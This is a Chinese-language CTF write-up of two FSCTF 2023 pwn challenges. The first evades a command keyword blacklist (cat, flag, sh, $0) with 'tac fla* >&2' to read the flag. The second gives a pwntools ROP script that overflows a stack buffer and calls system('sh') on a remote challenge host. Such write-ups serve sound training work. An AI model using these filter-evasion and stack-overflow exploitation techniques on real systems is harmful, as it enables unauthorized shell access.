FSCTF 2023(公开赛道)(pwn持续更新中)

[FSCTF 2023]nc

file一下,64位,ida打开

关键函数部分:检查用户输入的命令中是否包含"cat"、"flag"、"sh"或者"$0"这些关键词,如果包含,则输出"invalid command";否则关闭标准输出,然后调用backdoor函数。

在backdoor函数中system(a1);存在,a1是buf也就是输入的

我也是看了wp才知道的,还得多练

直接 nc node4.anna.nssctf.cn 28229

然后输入  tac fla* >&2   

NSSCTF{a770d1d9-5628-484e-8cf5-b98fdbe3a207}

简绍一下  tac fla* >&2   

"tac"是一个用于逆序输出文本文件内容的命令,"fl*"是一个通配符模式,代表以"fl"开头的文件名。">&2"是重定向语法,将命令的输出重定向到标准错误。

标准错误(Standard Error,通常缩写为stderr)是计算机操作系统中的一种输出流。它用于将程序或命令执行过程中产生的错误信息输出到屏幕或日志文件中,以便进行错误诊断和调试。

总结来说,标准错误是用于输出程序或命令执行过程中的错误信息的流,它与标准输出相互独立,可用于错误诊断、调试和记录错误信息。

[FSCTF 2023]rdi

64位 

开启NX

审计代码,发现在main函数存在栈溢出

在gift函数存在system函数

sys函数地址

ret, rdi地址ret这里不用

检索到sh(和binsh作用一样)

from pwn import *
i = remote("node4.anna.nssctf.cn",28597)
pwn= './rdi'
elf = ELF(pwn)
rdi_addr = 0x4007d3
sys_addr =0x4006FB
bin_sh = 0x40080d
# ret = 0x400546
payload=b'a'*(0x80 +8) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)
i.sendline(payload)
i.interactive()

  • 18
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值